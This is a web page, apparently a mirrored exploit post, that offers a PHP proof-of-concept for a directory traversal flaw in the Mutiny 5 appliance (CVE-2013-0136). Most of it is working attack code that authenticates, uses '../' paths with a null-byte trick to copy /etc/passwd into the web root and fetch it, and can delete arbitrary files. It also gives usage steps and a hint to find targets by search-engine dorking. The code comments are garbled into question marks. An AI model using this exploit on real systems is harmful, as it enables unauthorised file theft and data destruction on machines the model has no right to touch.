Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

Mutiny 5.0-1.07 Directory Traversal
Mutiny 5.0-1.07 Directory Traversal
Mutiny 5.0-1.07 Directory Traversal

=============================================================================================================================================
| # Title Mutiny 5.0-1.07 Directory Traversal

=============================================================================================================================================
| # Title : Mutiny 5.0-1.07 directory traversal Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) |
| # Vendor : https://www.mutiny.com/downloads/ |
=============================================================================================================================================

POC :

[+] Dorking ?n Google Or Other Search Enggine.

[+] Code Description: The code is an exploit written in PHP that targets a vulnerability in the Mutiny 5 Appliance,

allowing an authenticated attacker (i.e. with a username and password) to read or delete any file on the system due to a Directory Traversal vulnerability in the EditDocument servlet.

(Related : https://packetstorm.news/files/id/180894/ Linked CVE numbers: CVE-2013-0136 ) .

[+] save code as poc.php.

[+] Set taget : Line 110.

[+] USage : php poc.php

[+] PayLoad :

<?php

class MutinyExploit {
private $target;
private $username;
private $password;
private $session;

public function __construct($target, $username, $password) {
$this->target = rtrim($target, '/');
$this->username = $username;
$this->password = $password;
}

private function sendRequest($url, $postFields = null, $cookie = null) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

if ($postFields) {
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);
}

if ($cookie) {
curl_setopt($ch, CURLOPT_HTTPHEADER, ["Cookie: $cookie"]);
}

$response = curl_exec($ch);
curl_close($ch);
return $response;
}

public function login() {
// ?????? ??? JSESSIONID ??????
$response = $this->sendRequest("{$this->target}/interface/index.do");
if (preg_match('/JSESSIONID=(.*?);/', $response, $matches)) {
$firstSession = $matches[1];
} else {
die("??? ?? ?????? ??? JSESSIONID ??????\n");
}

// ?????? ????? ??????
$postFields = "j_username={$this->username}&j_password={$this->password}";
$response = $this->sendRequest("{$this->target}/interface/j_security_check", $postFields, "JSESSIONID=$firstSession");

// ?????? ??? ??? ??? ????? ?????? ??????
if (strpos($response, "interface/index.do") === false) {
die("??? ????? ??????? ???? ?? ?????? ????????\n");
}

// ?????? ??? JSESSIONID ??????? ??? ????????
$response = $this->sendRequest("{$this->target}/interface/index.do", null, "JSESSIONID=$firstSession");
if (preg_match('/JSESSIONID=(.*?);/', $response, $matches)) {
$this->session = $matches[1];
echo "?? ????? ?????? ?????\n";
} else {
die("??? ?? ?????? ??? ?????? ??? ????? ??????\n");
}
}

public function readFile($filePath) {
echo "??? ????? ??? ???? ??? ???? ?????? ????...\n";
$dstPath = "/usr/jakarta/tomcat/webapps/ROOT/m/";
$postFields = [
'operation' => 'COPY',
'paths[]' => "../../../../{$filePath}%00.txt",
'newPath' => "../../../..{$dstPath}"
];

$response = $this->sendRequest("{$this->target}/interface/EditDocument", $postFields, "JSESSIONID={$this->session}");
if (strpos($response, '{"success":true}') !== false) {
echo "?? ??? ????? ??? {$dstPath} ?????\n";
} else {
die("??? ?? ??? ?????\n");
}

// ????? ?????
echo "??????? ????? ?????...\n";
$fileContents = $this->sendRequest("{$this->target}/m/" . basename($filePath));
if ($fileContents) {
file_put_contents("extracted_" . basename($filePath), $fileContents);
echo "?? ??????? ????? ????? ??????\n";
} else {
echo "??? ?? ??????? ????? ?????\n";
}

// ????? ??????? ??? ???????
$this->deleteFile("{$dstPath}" . basename($filePath));
}

public function deleteFile($filePath) {
echo "??? ????? {$filePath}\n";
$postFields = [
'operation' => 'DELETE',
'paths[]' => "../../../../{$filePath}"
];

$response = $this->sendRequest("{$this->target}/interface/EditDocument", $postFields, "JSESSIONID={$this->session}");
if (strpos($response, '{"success":true}') !== false) {
echo "?? ??? ????? ?????\n";
} else {
echo "??? ?? ??? ?????\n";
}
}
}

// ??????? ?????
$exploit = new MutinyExploit("http://target.com", "This email address is being protected from spambots. You need JavaScript enabled to view it.", "password");
$exploit->login();
$exploit->readFile("/etc/passwd"); // ???? ??? ????? ???
// $exploit->deleteFile("/tmp/test.txt"); // ??? ??? (???????)

?>


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

Social Media Share